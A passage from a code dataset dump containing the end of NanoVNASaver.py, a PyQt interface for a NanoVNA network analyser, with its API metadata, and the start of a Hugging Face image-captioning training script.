maximum\n index_peak = np.argmax(td)\n\n self.tdr_result_label.setText(str(round(distance_axis[index_peak]/2, 3)) + \" m\")\n\n def setSweepColor(self, color: QtGui.QColor):\n if color.isValid():\n self.color = color\n p = self.btnColorPicker.palette()\n p.setColor(QtGui.QPalette.ButtonText, color)\n self.btnColorPicker.setPalette(p)\n\n for c in self.charts:\n c.setSweepColor(color)\n\n @staticmethod\n def formatFrequency(freq):\n if math.log10(freq) < 3:\n return str(freq) + \" Hz\"\n elif math.log10(freq) < 7:\n return \"{:.3f}\".format(freq/1000) + \" kHz\"\n elif math.log10(freq) < 8:\n return \"{:.4f}\".format(freq/1000000) + \" MHz\"\n else:\n return \"{:.3f}\".format(freq/1000000) + \" MHz\"\n\n @staticmethod\n def parseFrequency(freq: str):\n freq = freq.replace(\" \", \"\") # People put all sorts of weird whitespace in.\n if freq.isnumeric():\n return int(freq)\n\n multiplier = 1\n freq = freq.lower()\n\n if freq.endswith(\"k\"):\n multiplier = 1000\n freq = freq[:-1]\n elif freq.endswith(\"m\"):\n multiplier = 1000000\n freq = freq[:-1]\n\n if freq.isnumeric():\n return int(freq) * multiplier\n\n try:\n f = float(freq)\n return int(round(multiplier * f))\n except ValueError:\n # Okay, we couldn't parse this however much we tried.\n return -1\n\n def setReference(self, s11data=None, s21data=None):\n if not s11data:\n s11data = self.data\n if not s21data:\n s21data = self.data21\n self.referenceS11data = s11data\n self.s11SmithChart.setReference(s11data)\n self.s11LogMag.setReference(s11data)\n\n self.referenceS21data = s21data\n self.s21SmithChart.setReference(s21data)\n self.s21LogMag.setReference(s21data)\n self.btnResetReference.setDisabled(False)\n\n def resetReference(self):\n self.referenceS11data = []\n self.referenceS21data = []\n for c in self.charts:\n c.resetReference()\n self.btnResetReference.setDisabled(True)\n\n def setReferenceColor(self, color):\n if color.isValid():\n self.referenceColor = color\n p = self.btnReferenceColorPicker.palette()\n p.setColor(QtGui.QPalette.ButtonText, color)\n self.btnReferenceColorPicker.setPalette(p)\n\n for c in self.charts:\n c.setReferenceColor(color)\n\n def loadReferenceFile(self):\n filename = self.referenceFileNameInput.text()\n t = Touchstone(filename)\n t.load()\n self.setReference(t.s11data, t.s21data)\n\n def loadSweepFile(self):\n filename = self.referenceFileNameInput.text()\n t = Touchstone(filename)\n t.load()\n self.saveData(t.s11data, t.s21data)\n self.dataUpdated()\n\n def sizeHint(self) -> QtCore.QSize:\n return QtCore.QSize(1100, 950)\n", "repo_name": "Psynosaur/nanovna-saver", "sub_path": "NanoVNASaver.py", "file_name": "NanoVNASaver.py", "file_ext": "py", "file_size_in_byte": 33243, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.namedtuple", "line_number": 20, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 26, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 26, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThreadPool", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 30, "usage_type": "name"}, {"api_name": "SweepWorker.SweepWorker", "line_number": 32, "usage_type": "call"}, {"api_name": "threading.Lock", "line_number": 36, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 37, "usage_type": "call"}, {"api_name": "threading.Lock", "line_number": 39, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 43, "usage_type": "name"}, {"api_name": "Calibration.Calibration", "line_number": 45, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 52, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 52, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 53, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 56, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 56, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QScrollArea", "line_number": 57, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 57, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 58, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 58, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 63, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 63, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 64, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 64, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 65, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 65, "usage_type": "name"}, {"api_name": "SmithChart.SmithChart", "line_number": 69, "usage_type": "call"}, {"api_name": "SmithChart.SmithChart", "line_number": 70, "usage_type": "call"}, {"api_name": "LogMagChart.LogMagChart", "line_number": 71, "usage_type": "call"}, {"api_name": "LogMagChart.LogMagChart", "line_number": 72, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 74, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 80, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 80, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 81, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 81, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 90, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 90, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 93, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 93, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 95, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 96, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 96, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 98, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 98, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 100, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 100, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 101, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 101, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 103, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 103, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 105, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 105, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 106, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 106, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 109, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 109, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 111, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 111, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QColorDialog.getColor", "line_number": 114, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QColorDialog", "line_number": 114, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 114, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QProgressBar", "line_number": 118, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 118, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 123, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 123, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 133, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 133, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 136, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 136, "usage_type": "name"}, {"api_name": "Marker.Marker", "line_number": 138, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 138, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 138, "usage_type": "name"}, {"api_name": "Marker.Marker", "line_number": 142, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 142, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 142, "usage_type": "name"}, {"api_name": "Marker.Marker", "line_number": 148, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 148, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 148, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 157, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 157, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 159, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 159, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 161, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 161, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 162, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 162, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 164, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 164, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 165, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 165, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 173, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 173, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 175, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 175, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 179, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 179, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 181, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 181, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 186, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 186, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 188, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 188, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 192, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 192, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 195, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 195, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 200, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 200, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 202, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 202, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 206, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 206, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 227, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 227, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 234, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 234, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 242, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 242, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 244, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 244, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 245, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 245, "usage_type": "name"}, {"api_name": "Calibration.CalibrationWindow", "line_number": 246, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QSpacerItem", "line_number": 255, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 255, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 255, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 261, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 261, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 264, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 264, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 266, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 266, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 268, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 268, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 271, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 271, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QColorDialog.getColor", "line_number": 275, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QColorDialog", "line_number": 275, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 275, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 277, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 277, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 289, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 289, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 292, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 292, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 293, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 293, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 294, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 294, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 298, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 298, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 301, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 301, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 311, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 311, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 313, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 313, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 316, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 316, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 317, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 317, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 318, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 318, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 319, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 319, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 322, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 322, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 326, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 326, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 329, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 329, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 331, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 331, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 336, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 336, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 339, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 339, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 340, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 340, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 341, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 341, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 344, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 344, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 348, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 348, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 350, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 350, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 354, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 354, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 360, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 360, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 363, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 363, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 364, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 364, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPlainTextEdit", "line_number": 374, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 374, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 376, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 376, "usage_type": "name"}, {"api_name": "serial.tools.list_ports.comports", "line_number": 394, "usage_type": "call"}, {"api_name": "serial.tools.list_ports", "line_number": 394, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 402, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 402, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 402, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getSaveFileName", "line_number": 408, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 408, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 408, "usage_type": "name"}, {"api_name": "serial.Serial", "line_number": 482, "usage_type": "call"}, {"api_name": "serial.SerialException", "line_number": 484, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 491, "usage_type": "call"}, {"api_name": "serial.SerialException", "line_number": 515, "usage_type": "attribute"}, {"api_name": "serial.SerialException", "line_number": 551, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 555, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 616, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 645, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 657, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 659, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 689, "usage_type": "call"}, {"api_name": "numpy.blackman", "line_number": 691, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 695, "usage_type": "call"}, {"api_name": "numpy.fft.ifft", "line_number": 695, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 695, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 697, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 701, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 705, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 705, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 709, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 709, "usage_type": "name"}, {"api_name": "math.log10", "line_number": 717, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 719, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 721, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 777, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 777, "usage_type": "name"}, {"api_name": "Touchstone.Touchstone", "line_number": 785, "usage_type": "call"}, {"api_name": "Touchstone.Touchstone", "line_number": 791, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 797, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 797, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 796, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 796, "usage_type": "name"}]} +{"seq_id": "11008023477", "text": "'''\n author: Sinian Zhang\n date: 2023-6-7\n'''\nimport logging\nimport math\nimport os\nimport sys\nfrom io import BytesIO\nimport pandas as pd\nfrom PIL import Image\nfrom dataclasses import dataclass, field\nfrom typing import Optional\nfrom pathlib import Path\nfrom datasets import load_dataset, Dataset\nimport base64\nimport transformers\nfrom transformers import (\n ViTFeatureExtractor,\n VisionEncoderDecoderModel,\n Seq2SeqTrainer,\n AutoFeatureExtractor,\n AutoTokenizer,\n HfArgumentParser,\n Seq2SeqTrainingArguments,\n default_data_collator,\n set_seed,\n)\nfrom transformers.trainer_utils import get_last_checkpoint, is_main_process\nfrom transformers.utils import check_min_version\n\n\n# Will error if the minimal version of Transformers is not installed. Remove at your own risks.\ncheck_min_version(\"4.5.0.dev0\")\n\nlogger = logging.getLogger(__name__)\n\n\n@dataclass\nclass ModelArguments:\n \"\"\"\n Arguments pertaining to which model/config/tokenizer we are going to fine-tune, or train from scratch.\n \"\"\"\n model_name_or_path: Optional[str] = field(\n default=None,\n metadata={\n \"help\": \"The image encoder model checkpoint for weights initialization.\"\n },\n )\n \n image_encoder_model: Optional[str] = field(\n default=None,\n metadata={\n \"help\": \"The image encoder model checkpoint for weights initialization.\"\n },\n )\n text_decoder_model: Optional[str] = field(\n default=None,\n metadata={\n \"help\": \"The text decoder model checkpoint for weights initialization.\"\n },\n )\n config_name: Optional[str] = field(\n default=None, metadata={\"help\": \"Pretrained config name or path if not the same as model_name\"}\n )\n tokenizer_name: Optional[str] = field(\n default=None, metadata={\"help\": \"Pretrained tokenizer name or path if not the same as model_name\"}\n )\n cache_dir: Optional[str] = field(\n default=None,\n metadata={\n \"help\": \"Where do you want to store the pretrained models downloaded from huggingface.co\"},\n )\n use_fast_tokenizer: bool = field(\n default=True,\n metadata={\n \"help\": \"Whether to use one of the fast tokenizer (backed by the tokenizers library) or not.\"},\n )\n model_revision: str = field(\n default=\"main\",\n metadata={\n \"help\": \"The specific model version to use (can be a branch name, tag name or commit id).\"},\n )\n use_auth_token: bool = field(\n default=False,\n metadata={\n \"help\": \"Will use the token generated when running `transformers-cli login` (necessary to use this script \"\n \"with private models).\"\n },\n )\n\n\n@dataclass\nclass DataTrainingArguments:\n \"\"\"\n Arguments pertaining to what data we are going to input our model for training and eval.\n \"\"\"\n dataset_name: Optional[str] = field(\n default=None, metadata={\"help\": \"The name of the dataset to use (via the datasets library).\"}\n )\n dataset_config_name: Optional[str] = field(\n default=None, metadata={\"help\": \"The configuration name of the dataset to use (via the datasets library).\"}\n )\n train_caption_file: Optional[str] = field(\n default=None, metadata={\"help\": \"The input training data file (a text file).\"})\n \n train_image_file: Optional[str] = field(\n default=None, metadata={\"help\": \"The input training data file (a text file).\"})\n \n validation_caption_file: Optional[str] = field(\n default=None,\n metadata={\n \"help\": \"An optional input evaluation data file to evaluate the perplexity on (a text file).\"},\n ) \n validation_image_file: Optional[str] = field(\n default=None,\n metadata={\n \"help\": \"An optional input evaluation data file to evaluate the perplexity on (a text file).\"},\n )\n \n max_train_samples: Optional[int] = field(\n default=None,\n metadata={\n \"help\": \"For debugging purposes or quicker training, truncate the number of training examples to this \"\n \"value if set.\"\n },\n )\n max_val_samples: Optional[int] = field(\n default=None,\n metadata={\n \"help\": \"For debugging purposes or quicker training, truncate the number of validation examples to this \"\n \"value if set.\"\n },\n )\n block_size: Optional[int] = field(\n default=None,\n metadata={\n \"help\": \"Optional input sequence length after tokenization.\"\n \"The training dataset will be truncated in block of this size for training.\"\n \"Default to the model max input length for single sentence inputs (take into account special tokens).\"\n },\n )\n overwrite_cache: bool = field(\n default=False, metadata={\"help\": \"Overwrite the cached training and evaluation sets\"}\n )\n validation_split_percentage: Optional[int] = field(\n default=5,\n metadata={\n \"help\": \"The percentage of the train set used as validation set in case there's no validation split\"\n },\n )\n preprocessing_num_workers: Optional[int] = field(\n default=None,\n metadata={\"help\": \"The number of processes to use for the preprocessing.\"},\n )\n\n\n\n# text preprocessing step\ndef tokenization_fn(captions, max_target_length,tokenizer):\n \"\"\"Run tokenization on captions.\"\"\"\n labels = tokenizer(captions, \n padding=\"max_length\",\n max_length=max_target_length).input_ids\n\n return labels\n\n# image preprocessing step\ndef feature_extraction_fn(exist_image_contents,feature_extractor):\n \"\"\"\n Run feature extraction on images\n \"\"\"\n encoder_inputs = feature_extractor(images=exist_image_contents, return_tensors=\"np\")\n pixel_values = encoder_inputs.pixel_values\n \n return pixel_values\n\ndef preprocess_fn(examples, max_target_length,train_image_dict,test_image_dict,tokenizer,feature_extractor,is_train=True):\n \n \"\"\"Run tokenization + image feature extraction\"\"\"\n\n image_ids = examples['id']\n captions = examples['caption']\n \n exist_image_contents, exist_image_captions = [], []\n \n for image_id, image_caption in zip(image_ids, captions):\n try:\n if is_train:\n if image_id in train_image_dict:\n train_img = Image.open(BytesIO(base64.urlsafe_b64decode(train_image_dict[image_id])))\n train_img = train_img.convert(\"RGB\")\n exist_image_contents.append(train_img)\n exist_image_captions.append(image_caption)\n else:\n if image_id in test_image_dict:\n eval_img = Image.open(BytesIO(base64.urlsafe_b64decode(test_image_dict[image_id])))\n eval_img = eval_img.convert(\"RGB\")\n exist_image_contents.append(eval_img)\n exist_image_captions.append(image_caption)\n except Exception as e:\n print(\"image_id: {}, image_caption: {}, error: {}\".format(image_id, image_caption, e), flush=True)\n continue\n \n assert len(exist_image_contents) == len(exist_image_captions)\n print(len(exist_image_contents))\n model_inputs = {}\n # This contains image path column\n model_inputs['labels'] = tokenization_fn(exist_image_captions, max_target_length, tokenizer)\n model_inputs['pixel_values'] = feature_extraction_fn(exist_image_contents, feature_extractor)\n\n return model_inputs\n\ndef read_caption_dataset(caption_file):\n caption_df = pd.read_csv(caption_file)\n caption_dataset = Dataset.from_pandas(caption_df)\n return caption_dataset\n\ndef read_image_dataset(image_file):\n image_df = pd.read_csv(image_file, header=None, names=['id', 'content'], sep='\\t')\n image_dict = image_df.set_index(['id'])['content'].to_dict()\n return image_dict\n\ndef main():\n\n ## Get all the arguments\n parser = HfArgumentParser(\n (ModelArguments, DataTrainingArguments, Seq2SeqTrainingArguments))\n if len(sys.argv) == 2 and sys.argv[1].endswith(\".json\"):\n model_args, data_args, training_args = parser.parse_json_file(\n json_file=os.path.abspath(sys.argv[1]))\n else:\n model_args, data_args, training_args = parser.parse_args_into_dataclasses()\n\n # Detecting last checkpoint.\n last_checkpoint = None\n if os.path.isdir(training_args.output_dir) and training_args.do_train and not training_args.overwrite_output_dir:\n last_checkpoint = get_last_checkpoint(training_args.output_dir)\n if last_checkpoint is None and len(os.listdir(training_args.output_dir)) > 0:\n raise ValueError(\n f\"Output directory ({training_args.output_dir}) already exists and is not empty. \"\n \"Use --overwrite_output_dir to overcome.\"\n )\n elif last_checkpoint is not None:\n logger.info(\n f\"Checkpoint detected, resuming training at {last_checkpoint}. To avoid this behavior, change \"\n \"the `--output_dir` or add `--overwrite_output_dir` to train from scratch.\"\n )\n\n # Setup logging\n logging.basicConfig(\n format=\"%(asctime)s - %(levelname)s - %(name)s - %(message)s\",\n datefmt=\"%m/%d/%Y %H:%M:%S\",\n handlers=[logging.StreamHandler(sys.stdout)],\n )\n logger.setLevel(logging.INFO if is_main_process(\n training_args.local_rank) else logging.WARN)\n\n 